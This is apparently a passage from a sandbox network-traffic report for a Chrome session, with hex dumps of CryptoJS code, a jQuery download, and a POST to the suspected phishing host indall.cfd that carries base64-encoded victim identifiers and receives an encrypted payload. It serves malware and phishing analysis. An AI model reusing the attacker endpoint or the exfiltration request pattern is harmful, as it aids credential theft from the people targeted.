h.create(i,n)}(t,e,i)},_map:"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/="},function(l){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,n=t.algo,H=[];!function(){for(var t=0;t<64;t++)H[t]=4294967296l.
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 2c 62 2c 42 2c 35 2c 48 5b 32 38 5d 29 2c 62 3d 41 28 62 2c 53 2c 6d 2c 78 2c 61 2c 39 2c 48 5b 32 39 5d 29 2c 78 3d 41 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 34 2c 48 5b 33 30 5d 29 2c 53 3d 43 28 53 2c 6d 3d 41 28 6d 2c 78 2c 62 2c 53 2c 67 2c 32 30 2c 48 5b 33 31 5d 29 2c 78 2c 62 2c 66 2c 34 2c 48 5b 33 32 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 70 2c 31 31 2c 48 5b 33 33 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 79 2c 31 36 2c 48 5b 33 34 5d 29 2c 6d 3d 43 28 6d 2c 78 2c 62 2c 53 2c 77 2c 32 33 2c 48 5b 33 35 5d 29 2c 53 3d 43 28 53 2c 6d 2c 78 2c 62 2c 63 2c 34 2c 48 5b 33 36 5d 29 2c 62 3d 43 28 62 2c 53 2c 6d 2c 78 2c 6c 2c 31 31 2c 48 5b 33 37 5d 29 2c 78 3d 43 28 78 2c 62 2c 53 2c 6d 2c 75 2c 31 36 2c 48 5b 33 38 5d 29 2c 6d 3d 43 28 6d 2c Data Ascii: ,b,B,5,H[28]),b=A(b,S,m,x,a,9,H[29]),x=A(x,b,S,m,u,14,H[30]),S=C(S,m=A(m,x,b,S,g,20,H[31]),x,b,f,4,H[32]),b=C(b,S,m,x,p,11,H[33]),x=C(x,b,S,m,y,16,H[34]),m=C(m,x,b,S,w,23,H[35]),S=C(S,m,x,b,c,4,H[36]),b=C(b,S,m,x,l,11,H[37]),x=C(x,b,S,m,u,16,H[38]),m=C(m,
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 6c 28 74 68 69 73 29 3b 72 65 74 75 72 6e 20 74 2e 5f 68 61 73 68 3d 74 68 69 73 2e 5f 68 61 73 68 2e 63 6c 6f 6e 65 28 29 2c 74 7d 7d 29 3b 66 75 6e 63 74 69 6f 6e 20 7a 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 72 7c 7e 65 26 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 41 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 26 69 7c 72 26 7e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e 33 32 2d 6f 29 2b 65 7d 66 75 6e 63 74 69 6f 6e 20 43 28 74 2c 65 2c 72 2c 69 2c 6e 2c 6f 2c 73 29 7b 76 61 72 20 63 3d 74 2b 28 65 5e 72 5e 69 29 2b 6e 2b 73 3b 72 65 74 75 72 6e 28 63 3c 3c 6f 7c 63 3e 3e 3e Data Ascii: l(this);return t._hash=this._hash.clone(),t}});function z(t,e,r,i,n,o,s){var c=t+(e&r\|~e&i)+n+s;return(c<<o\|c>>>32-o)+e}function A(t,e,r,i,n,o,s){var c=t+(e&i\|r&~i)+n+s;return(c<<o\|c>>>32-o)+e}function C(t,e,r,i,n,o,s){var c=t+(e^r^i)+n+s;return(c<<o\|c>>>
2024-05-07 14:12:46 UTC	1369	IN	Data Raw: 6e 28 6e 29 7b 76 61 72 20 74 3d 62 74 2c 65 3d 74 2e 6c 69 62 2c 72 3d 65 2e 57 6f 72 64 41 72 72 61 79 2c 69 3d 65 2e 48 61 73 68 65 72 2c 6f 3d 74 2e 61 6c 67 6f 2c 73 3d 5b 5d 2c 42 3d 5b 5d 3b 21 66 75 6e 63 74 69 6f 6e 28 29 7b 66 75 6e 63 74 69 6f 6e 20 74 28 74 29 7b 66 6f 72 28 76 61 72 20 65 3d 6e 2e 73 71 72 74 28 74 29 2c 72 3d 32 3b 72 3c 3d 65 3b 72 2b 2b 29 69 66 28 21 28 74 25 72 29 29 72 65 74 75 72 6e 3b 72 65 74 75 72 6e 20 31 7d 66 75 6e 63 74 69 6f 6e 20 65 28 74 29 7b 72 65 74 75 72 6e 20 34 32 39 34 39 36 37 32 39 36 2a 28 74 2d 28 30 7c 74 29 29 7c 30 7d 66 6f 72 28 76 61 72 20 72 3d 32 2c 69 3d 30 3b 69 3c 36 34 3b 29 74 28 72 29 26 26 28 69 3c 38 26 26 28 73 5b 69 5d 3d 65 28 6e 2e 70 6f 77 28 72 2c 2e 35 29 29 29 2c 42 5b 69 5d Data Ascii: n(n){var t=bt,e=t.lib,r=e.WordArray,i=e.Hasher,o=t.algo,s=[],B=[];!function(){function t(t){for(var e=n.sqrt(t),r=2;r<=e;r++)if(!(t%r))return;return 1}function e(t){return 4294967296*(t-(0\|t))\|0}for(var r=2,i=0;i<64;)t(r)&&(i<8&&(s[i]=e(n.pow(r,.5))),B[i]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
43	192.168.2.8	49764	91.108.102.252	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:46 UTC	579	OUT	POST /dashboard/ HTTP/1.1 Host: indall.cfd Connection: keep-alive Content-Length: 87 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" Accept: / Content-Type: application/x-www-form-urlencoded; charset=UTF-8 sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Origin: null Sec-Fetch-Site: cross-site Sec-Fetch-Mode: cors Sec-Fetch-Dest: empty Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:46 UTC	87	OUT	Data Raw: 63 70 6b 3d 2e 44 4c 4d 59 54 32 6b 2e 26 6f 74 74 6b 3d 72 79 72 66 65 67 66 64 69 6b 73 66 77 61 7a 75 72 6e 75 6c 79 6f 6f 64 6d 74 69 64 79 6f 79 6a 26 31 65 3d 61 32 4a 79 62 33 64 26 32 65 3d 75 51 47 68 70 62 47 4e 76 63 6e 41 75 59 32 39 74 26 70 65 3d Data Ascii: cpk=.DLMYT2k.&ottk=ryrfegfdiksfwazurnulyoodmtidyoyj&1e=a2Jyb3d&2e=uQGhpbGNvcnAuY29t&pe=
2024-05-07 14:12:49 UTC	273	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Tue, 07 May 2024 14:12:49 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: close X-Powered-By: PHP/8.1.25 Access-Control-Allow-Origin: * Access-Control-Allow-Methods: POST, GET
2024-05-07 14:12:49 UTC	16111	IN	Data Raw: 31 65 66 32 0d 0a 77 73 59 51 62 4e 30 2b 65 4f 32 43 71 58 63 5a 2b 65 78 38 77 52 44 4f 52 79 35 77 2b 56 53 77 64 4b 34 2b 51 7a 41 70 47 79 61 66 68 74 46 73 4c 44 30 45 54 38 4e 35 79 76 4c 64 75 56 44 41 50 47 7a 32 2f 64 48 32 39 78 54 6c 33 58 4a 75 35 71 65 79 45 6e 34 65 75 61 5a 42 4f 56 71 67 77 77 54 51 77 4b 45 75 6b 6a 7a 34 53 34 4a 38 68 67 30 2b 36 43 4c 57 43 50 79 31 37 65 77 41 51 34 50 6e 53 44 6b 50 56 66 65 34 45 72 6a 67 4e 65 70 6f 42 31 35 48 37 7a 56 69 53 49 76 63 79 64 72 62 35 72 52 4f 6a 33 42 34 55 64 57 31 34 73 71 64 35 45 39 67 6c 38 37 57 76 78 6b 59 61 75 6c 33 73 65 42 58 6f 67 6e 64 42 47 42 56 77 5a 46 55 67 4f 6f 6e 7a 62 4f 52 2b 69 64 6f 78 33 32 47 63 6c 48 72 79 46 41 4b 59 37 41 44 41 71 33 4e 6d 43 34 46 37 Data Ascii: 1ef2wsYQbN0+eO2CqXcZ+ex8wRDORy5w+VSwdK4+QzApGyafhtFsLD0ET8N5yvLduVDAPGz2/dH29xTl3XJu5qeyEn4euaZBOVqgwwTQwKEukjz4S4J8hg0+6CLWCPy17ewAQ4PnSDkPVfe4ErjgNepoB15H7zViSIvcydrb5rROj3B4UdW14sqd5E9gl87WvxkYaul3seBXogndBGBVwZFUgOonzbOR+idox32GclHryFAKY7ADAq3NmC4F7
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 49 4c 57 56 63 44 71 59 58 67 55 6b 44 49 55 58 46 6e 52 77 76 41 49 47 74 55 62 52 6c 36 2f 61 33 6f 48 67 76 52 52 76 31 70 2b 49 55 56 39 2f 37 4d 35 35 6d 6b 65 57 58 44 63 66 62 35 48 55 67 42 36 73 34 4a 33 6d 76 50 45 4c 2b 5a 69 4d 6b 4f 4f 31 57 5a 68 70 6c 34 70 49 37 4b 50 65 62 39 32 4e 64 6d 45 6e 73 74 30 6d 43 58 71 6e 31 4b 31 4d 74 5a 6b 5a 47 68 43 4f 42 6b 72 58 71 6d 78 6d 73 6f 6a 79 6d 30 37 63 4d 77 6b 69 56 59 66 4d 76 72 44 41 4e 30 4c 67 6e 4e 36 4a 38 48 72 30 42 4f 45 69 6a 34 36 47 64 7a 56 63 39 75 38 5a 34 75 58 32 6c 47 41 49 2f 6a 63 71 59 6c 42 6c 6a 43 79 44 6a 51 58 39 2f 31 79 68 34 66 6d 5a 63 6a 50 35 74 4c 69 74 2b 6f 69 6e 55 56 2f 6d 31 65 42 30 58 6b 67 6e 59 42 35 41 33 57 77 4f 39 64 6d 49 55 75 67 6f 46 58 52 Data Ascii: ILWVcDqYXgUkDIUXFnRwvAIGtUbRl6/a3oHgvRRv1p+IUV9/7M55mkeWXDcfb5HUgB6s4J3mvPEL+ZiMkOO1WZhpl4pI7KPeb92NdmEnst0mCXqn1K1MtZkZGhCOBkrXqmxmsojym07cMwkiVYfMvrDAN0LgnN6J8Hr0BOEij46GdzVc9u8Z4uX2lGAI/jcqYlBljCyDjQX9/1yh4fmZcjP5tLit+oinUV/m1eB0XkgnYB5A3WwO9dmIUugoFXR
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 79 79 6c 52 73 30 5a 30 6a 49 30 32 69 55 78 51 77 47 76 30 54 62 6d 69 78 4b 42 7a 4a 2b 51 46 4c 41 54 51 4b 6c 74 50 37 0d 0a 31 30 30 30 0d 0a 51 37 45 59 47 67 51 58 42 34 41 38 6d 58 7a 32 72 54 68 66 4a 59 70 36 47 4a 57 79 4e 69 72 77 61 7a 67 47 51 44 6b 6e 34 58 34 59 55 74 43 54 41 39 36 33 73 7a 4e 31 65 34 48 54 4c 41 63 39 48 45 35 70 73 34 76 6b 71 62 76 69 62 47 2b 79 38 6e 32 53 4e 67 2f 33 49 53 34 2b 39 39 70 78 65 50 79 33 53 62 5a 37 2b 4c 4f 79 64 58 75 6e 4e 66 6d 58 63 53 47 6d 2f 4b 48 49 70 4f 52 47 5a 33 4e 63 6c 38 6e 6d 46 43 6e 2b 34 64 53 52 4b 63 4b 2b 73 68 37 62 66 47 56 35 6f 39 76 66 6e 76 39 77 79 6e 65 6d 69 76 70 65 63 49 6f 54 4f 69 2f 72 68 68 36 41 55 63 47 59 6c 6e 78 7a 59 6e 6e 45 62 58 48 6b 73 77 62 37 77 49 Data Ascii: yylRs0Z0jI02iUxQwGv0TbmixKBzJ+QFLATQKltP71000Q7EYGgQXB4A8mXz2rThfJYp6GJWyNirwazgGQDkn4X4YUtCTA963szN1e4HTLAc9HE5ps4vkqbvibG+y8n2SNg/3IS4+99pxePy3SbZ7+LOydXunNfmXcSGm/KHIpORGZ3Ncl8nmFCn+4dSRKcK+sh7bfGV5o9vfnv9wynemivpecIoTOi/rhh6AUcGYlnxzYnnEbXHkswb7wI
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 78 54 4d 77 74 77 65 77 4c 48 45 78 69 57 54 62 34 63 74 4b 55 36 79 53 61 7a 32 44 6a 4e 2f 6a 6c 67 67 54 46 48 31 52 42 78 7a 48 46 4e 47 5a 2f 30 32 6f 43 4d 65 64 39 48 56 74 37 46 78 6c 67 0d 0a 38 30 30 30 0d 0a 32 7a 47 46 53 66 6f 5a 70 47 70 6b 4a 57 70 39 2b 36 68 74 78 64 59 4b 38 2b 73 62 49 44 4c 79 78 6c 34 46 39 44 66 41 57 6c 79 4c 70 52 34 72 50 67 49 78 73 43 79 52 7a 7a 32 56 4d 72 72 79 48 42 74 47 57 78 62 49 4e 56 42 2f 36 4b 76 61 42 2f 70 4a 44 63 6a 50 6a 52 74 37 49 51 35 52 33 47 74 65 30 39 53 6f 56 65 4f 72 4e 75 53 4e 4c 6a 46 55 67 74 57 35 53 42 6e 71 57 45 43 5a 4a 78 44 49 4b 49 34 6f 77 43 32 64 2f 78 6d 4e 51 62 56 49 73 75 61 67 2b 44 53 72 64 79 31 71 42 68 51 5a 45 6b 6b 68 7a 6f 42 69 4f 48 43 41 45 53 2b 54 78 52 Data Ascii: xTMwtwewLHExiWTb4ctKU6ySaz2DjN/jlggTFH1RBxzHFNGZ/02oCMed9HVt7Fxlg80002zGFSfoZpGpkJWp9+6htxdYK8+sbIDLyxl4F9DfAWlyLpR4rPgIxsCyRzz2VMrryHBtGWxbINVB/6KvaB/pJDcjPjRt7IQ5R3Gte09SoVeOrNuSNLjFUgtW5SBnqWECZJxDIKI4owC2d/xmNQbVIsuag+DSrdy1qBhQZEkkhzoBiOHCAES+TxR
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 46 6a 70 52 30 47 6f 47 7a 4d 56 52 35 5a 67 45 77 73 73 47 71 74 2f 52 68 36 2b 66 36 48 4c 54 73 55 61 52 43 7a 57 36 30 78 4d 51 7a 43 4a 64 32 6e 6f 4c 42 47 66 6a 75 58 61 78 71 67 51 33 39 42 58 2f 31 36 4c 45 4d 5a 78 4b 6c 2f 7a 6f 6c 34 73 70 41 2b 6d 37 36 65 74 55 72 35 46 56 48 71 6b 44 66 54 76 64 72 69 75 73 6d 61 7a 7a 39 7a 6f 58 39 66 76 56 76 74 30 72 58 74 39 2b 41 55 72 43 35 52 34 5a 47 74 41 66 48 5a 70 70 78 4f 47 35 7a 4e 75 36 5a 45 4f 54 49 57 32 34 38 61 61 33 6b 72 55 5a 2f 5a 64 54 71 61 52 64 58 34 50 76 78 6b 53 69 59 53 5a 46 56 79 72 43 65 65 2f 4d 2f 4d 39 68 54 71 6d 48 68 56 61 53 31 35 64 45 55 61 68 36 4b 62 4b 79 41 54 48 6c 70 70 5a 36 69 58 64 67 6d 53 74 2b 41 46 38 37 34 52 76 57 4d 65 36 63 45 4a 6a 48 35 30 77 Data Ascii: FjpR0GoGzMVR5ZgEwssGqt/Rh6+f6HLTsUaRCzW60xMQzCJd2noLBGfjuXaxqgQ39BX/16LEMZxKl/zol4spA+m76etUr5FVHqkDfTvdriusmazz9zoX9fvVvt0rXt9+AUrC5R4ZGtAfHZppxOG5zNu6ZEOTIW248aa3krUZ/ZdTqaRdX4PvxkSiYSZFVyrCee/M/M9hTqmHhVaS15dEUah6KbKyATHlppZ6iXdgmSt+AF874RvWMe6cEJjH50w
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 4f 45 4e 4c 62 72 4b 69 66 79 76 54 6c 75 44 34 41 78 37 75 43 6a 63 39 4a 34 52 4a 57 68 39 48 35 49 41 70 42 56 61 6b 65 2b 55 38 61 6c 69 35 73 48 2f 42 32 7a 68 47 41 41 66 6d 41 6a 71 4f 42 54 33 6b 47 70 4c 51 41 0d 0a 38 30 30 30 0d 0a 78 31 57 35 45 38 50 38 39 44 6b 73 61 46 2f 4b 2b 31 41 4d 72 5a 31 37 4b 34 44 4f 30 45 76 63 48 71 31 2f 72 6e 6d 77 2f 4a 64 69 65 71 46 51 4b 78 31 4c 79 47 70 76 59 64 62 67 64 64 35 64 69 4e 5a 48 4f 33 37 43 4a 41 75 47 62 56 73 4f 6e 50 71 62 35 4a 47 6d 61 49 54 2b 4f 70 74 37 4c 4a 51 50 49 76 75 77 4a 6c 75 41 63 71 59 56 56 63 4b 31 63 4c 39 46 6e 73 50 77 4f 78 56 50 41 41 69 62 36 57 70 65 75 34 37 42 6e 36 66 53 6d 61 6d 46 76 42 58 73 71 79 4e 67 4b 74 6d 54 4b 57 62 2b 34 72 73 6c 78 47 65 32 61 2f Data Ascii: OENLbrKifyvTluD4Ax7uCjc9J4RJWh9H5IApBVake+U8ali5sH/B2zhGAAfmAjqOBT3kGpLQA8000x1W5E8P89DksaF/K+1AMrZ17K4DO0EvcHq1/rnmw/JdieqFQKx1LyGpvYdbgdd5diNZHO37CJAuGbVsOnPqb5JGmaIT+Opt7LJQPIvuwJluAcqYVVcK1cL9FnsPwOxVPAAib6Wpeu47Bn6fSmamFvBXsqyNgKtmTKWb+4rslxGe2a/
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 6a 46 47 76 50 33 4d 44 6c 48 34 69 6a 75 46 68 36 77 36 49 7a 63 67 6b 30 31 5a 71 58 63 70 45 35 2b 47 30 46 4e 6f 6c 62 48 4b 68 69 7a 43 45 36 69 61 6b 6b 63 54 64 36 71 78 73 56 2f 2f 6c 5a 61 6b 4d 64 49 6f 50 75 75 62 73 41 6b 69 54 71 50 70 66 70 35 49 78 77 76 47 71 38 57 49 76 6f 30 2f 35 37 32 44 6a 31 57 43 64 65 39 4c 35 63 70 57 47 72 4d 6f 48 6d 30 6c 51 32 65 4d 52 67 6b 63 45 57 71 4d 79 55 50 6b 33 64 54 78 53 6d 74 4c 49 34 44 44 57 75 49 4b 78 70 34 37 31 6a 67 4b 46 6e 35 61 41 72 42 38 65 47 41 30 47 7a 41 57 37 53 68 4c 6e 59 4c 70 52 52 79 70 61 49 63 36 6a 78 6c 6e 59 69 52 65 6c 39 42 71 37 63 38 7a 42 57 64 5a 5a 2f 71 55 2f 61 2f 33 68 57 56 70 55 73 51 71 6e 6a 7a 68 34 57 53 71 62 64 41 6a 73 78 50 6b 74 36 54 4b 62 41 73 68 Data Ascii: jFGvP3MDlH4ijuFh6w6Izcgk01ZqXcpE5+G0FNolbHKhizCE6iakkcTd6qxsV//lZakMdIoPuubsAkiTqPpfp5IxwvGq8WIvo0/572Dj1WCde9L5cpWGrMoHm0lQ2eMRgkcEWqMyUPk3dTxSmtLI4DDWuIKxp471jgKFn5aArB8eGA0GzAW7ShLnYLpRRypaIc6jxlnYiRel9Bq7c8zBWdZZ/qU/a/3hWVpUsQqnjzh4WSqbdAjsxPkt6TKbAsh
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 53 50 6d 43 68 4f 35 62 6c 72 70 2f 46 57 43 59 4d 55 43 68 59 61 68 5a 70 39 5a 75 62 68 7a 48 79 7a 6a 45 74 45 53 61 6b 35 43 4d 59 61 6e 59 76 58 41 7a 38 35 4e 59 4c 76 4e 45 6f 34 65 36 62 59 4a 53 6e 62 73 79 4a 71 4c 41 61 68 74 52 4a 0d 0a 38 30 30 30 0d 0a 6b 44 4e 71 36 79 69 71 76 44 62 7a 41 6a 6c 46 61 6a 79 75 4e 4a 4f 30 6b 6a 6f 34 52 74 4a 73 6e 53 48 2b 55 30 79 4d 46 4f 30 69 5a 4b 54 43 5a 6e 53 39 4f 30 55 30 50 53 4e 4a 63 61 50 70 70 52 6e 69 35 49 58 5a 47 6e 53 2b 42 65 62 32 6e 4d 79 4a 74 4f 7a 30 7a 43 47 34 6b 78 4c 6d 2f 41 64 4b 46 39 73 36 41 76 68 65 6e 74 49 38 44 75 50 79 6a 4f 62 75 73 57 36 31 63 76 34 65 53 31 44 48 45 45 37 44 6d 49 43 50 70 4a 49 47 72 4b 73 4d 49 67 46 49 31 51 4c 35 73 47 48 49 6d 6b 47 2f 35 7a Data Ascii: SPmChO5blrp/FWCYMUChYahZp9ZubhzHyzjEtESak5CMYanYvXAz85NYLvNEo4e6bYJSnbsyJqLAahtRJ8000kDNq6yiqvDbzAjlFajyuNJO0kjo4RtJsnSH+U0yMFO0iZKTCZnS9O0U0PSNJcaPppRni5IXZGnS+Beb2nMyJtOz0zCG4kxLm/AdKF9s6AvhentI8DuPyjObusW61cv4eS1DHEE7DmICPpJIGrKsMIgFI1QL5sGHImkG/5z
2024-05-07 14:12:49 UTC	16384	IN	Data Raw: 2b 33 50 56 6d 4e 6a 6d 4a 51 4d 5a 46 38 6d 72 46 65 4f 38 38 74 50 7a 4f 35 75 76 4b 45 4f 78 6f 2b 62 76 6b 68 65 43 5a 49 38 77 70 6e 4e 78 58 65 70 4c 66 70 6d 43 2f 44 34 37 6a 54 66 72 4f 5a 72 78 49 44 55 49 6e 38 66 37 79 5a 68 42 4f 58 6b 67 37 48 68 4e 50 55 59 43 78 6c 34 4f 6c 53 77 62 2b 75 59 6b 4f 31 48 43 5a 2f 65 69 63 4d 59 6d 54 30 45 76 76 54 6e 55 6d 39 69 6a 53 47 78 4f 71 37 30 75 36 35 31 5a 2b 35 57 34 66 4f 53 62 41 70 38 4f 56 55 62 64 30 6c 2f 79 62 32 31 4f 4f 68 56 36 32 64 38 67 38 62 75 44 74 58 55 62 79 45 45 37 4a 61 4b 4b 55 4e 4f 66 53 43 56 58 43 56 50 58 62 4f 37 48 41 70 50 4a 4a 50 37 6f 37 45 58 62 42 38 46 32 41 6d 56 70 52 65 71 50 50 54 31 78 46 38 67 53 42 4c 44 73 43 47 5a 33 70 41 71 52 47 48 4b 56 48 50 4a Data Ascii: +3PVmNjmJQMZF8mrFeO88tPzO5uvKEOxo+bvkheCZI8wpnNxXepLfpmC/D47jTfrOZrxIDUIn8f7yZhBOXkg7HhNPUYCxl4OlSwb+uYkO1HCZ/eicMYmT0EvvTnUm9ijSGxOq70u651Z+5W4fOSbAp8OVUbd0l/yb21OOhV62d8g8buDtXUbyEE7JaKKUNOfSCVXCVPXbO7HApPJJP7o7EXbB8F2AmVpReqPPT1xF8gSBLDsCGZ3pAqRGHKVHPJ

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
44	192.168.2.8	49767	104.17.25.14	443	6856	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-07 14:12:50 UTC	608	OUT	GET /ajax/libs/jquery/3.6.1/jquery.min.js HTTP/1.1 Host: cdnjs.cloudflare.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Intervention: <https://www.chromestatus.com/feature/5718547946799104>; level="warning" sec-ch-ua-platform: "Windows" Accept: / Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: script Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-07 14:12:50 UTC	959	IN	HTTP/1.1 200 OK Date: Tue, 07 May 2024 14:12:50 GMT Content-Type: application/javascript; charset=utf-8 Transfer-Encoding: chunked Connection: close Access-Control-Allow-Origin: * Cache-Control: public, max-age=30672000 ETag: W/"63091225-797c" Last-Modified: Fri, 26 Aug 2022 18:34:13 GMT cf-cdnjs-via: cfworker/kv Cross-Origin-Resource-Policy: cross-origin Timing-Allow-Origin: * X-Content-Type-Options: nosniff CF-Cache-Status: HIT Age: 1281637 Expires: Sun, 27 Apr 2025 14:12:50 GMT Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=wHdzPeHefTiaTAf3UXP3Trhc4EiAfVoreUVLxgUU57wlu2ue8cy86mG0bRntvWHeMPUKiW4UF5ODw327ZedMekhgslQQxNm8vMdbb%2FpFsI%2Bp%2Fyx8ItfO8Cy7cgAwXIqpsv5HIGuz"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Strict-Transport-Security: max-age=15780000 Server: cloudflare CF-RAY: 8801cea7ef3632c7-EWR alt-svc: h3=":443"; ma=86400
2024-05-07 14:12:50 UTC	410	IN	Data Raw: 37 62 65 66 0d 0a 2f 2a 21 20 6a 51 75 65 72 79 20 76 33 2e 36 2e 31 20 7c 20 28 63 29 20 4f 70 65 6e 4a 53 20 46 6f 75 6e 64 61 74 69 6f 6e 20 61 6e 64 20 6f 74 68 65 72 20 63 6f 6e 74 72 69 62 75 74 6f 72 73 20 7c 20 6a 71 75 65 72 79 2e 6f 72 67 2f 6c 69 63 65 6e 73 65 20 2a 2f 0a 21 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 22 75 73 65 20 73 74 72 69 63 74 22 3b 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 26 26 22 6f 62 6a 65 63 74 22 3d 3d 74 79 70 65 6f 66 20 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3f 6d 6f 64 75 6c 65 2e 65 78 70 6f 72 74 73 3d 65 2e 64 6f 63 75 6d 65 6e 74 3f 74 28 65 2c 21 30 29 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 69 66 28 21 65 2e 64 6f 63 75 6d 65 6e 74 29 74 68 72 6f 77 20 6e 65 77 20 45 72 72 6f Data Ascii: 7bef/! jQuery v3.6.1 \| (c) OpenJS Foundation and other contributors \| jquery.org/license /!function(e,t){"use strict";"object"==typeof module&&"object"==typeof module.exports?module.exports=e.document?t(e,!0):function(e){if(!e.document)throw new Erro
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 74 6f 74 79 70 65 4f 66 2c 73 3d 74 2e 73 6c 69 63 65 2c 67 3d 74 2e 66 6c 61 74 3f 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 66 6c 61 74 2e 63 61 6c 6c 28 65 29 7d 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 20 74 2e 63 6f 6e 63 61 74 2e 61 70 70 6c 79 28 5b 5d 2c 65 29 7d 2c 75 3d 74 2e 70 75 73 68 2c 69 3d 74 2e 69 6e 64 65 78 4f 66 2c 6e 3d 7b 7d 2c 6f 3d 6e 2e 74 6f 53 74 72 69 6e 67 2c 79 3d 6e 2e 68 61 73 4f 77 6e 50 72 6f 70 65 72 74 79 2c 61 3d 79 2e 74 6f 53 74 72 69 6e 67 2c 6c 3d 61 2e 63 61 6c 6c 28 4f 62 6a 65 63 74 29 2c 76 3d 7b 7d 2c 6d 3d 66 75 6e 63 74 69 6f 6e 28 65 29 7b 72 65 74 75 72 6e 22 66 75 6e 63 74 69 6f 6e 22 3d 3d 74 79 70 65 6f 66 20 65 26 26 22 6e 75 6d 62 65 72 22 21 3d 74 79 70 65 6f 66 Data Ascii: totypeOf,s=t.slice,g=t.flat?function(e){return t.flat.call(e)}:function(e){return t.concat.apply([],e)},u=t.push,i=t.indexOf,n={},o=n.toString,y=n.hasOwnProperty,a=y.toString,l=a.call(Object),v={},m=function(e){return"function"==typeof e&&"number"!=typeof
2024-05-07 14:12:50 UTC	1369	IN	Data Raw: 61 73 74 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 65 71 28 2d 31 29 7d 2c 65 76 65 6e 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 28 74 2b 31 29 25 32 7d 29 29 7d 2c 6f 64 64 3a 66 75 6e 63 74 69 6f 6e 28 29 7b 72 65 74 75 72 6e 20 74 68 69 73 2e 70 75 73 68 53 74 61 63 6b 28 53 2e 67 72 65 70 28 74 68 69 73 2c 66 75 6e 63 74 69 6f 6e 28 65 2c 74 29 7b 72 65 74 75 72 6e 20 74 25 32 7d 29 29 7d 2c 65 71 3a 66 75 6e 63 74 69 6f 6e 28 65 29 7b 76 61 72 20 74 3d 74 68 69 73 2e 6c 65 6e 67 74 68 2c 6e 3d 2b 65 2b 28 65 3c 30 3f 74 3a 30 29 3b 72 65 74 75 72 6e 20 74 68 69 73 2e Data Ascii: ast:function(){return this.eq(-1)},even:function(){return this.pushStack(S.grep(this,function(e,t){return(t+1)%2}))},odd:function(){return this.pushStack(S.grep(this,function(e,t){return t%2}))},eq:function(e){var t=this.length,n=+e+(e<0?t:0);return this.
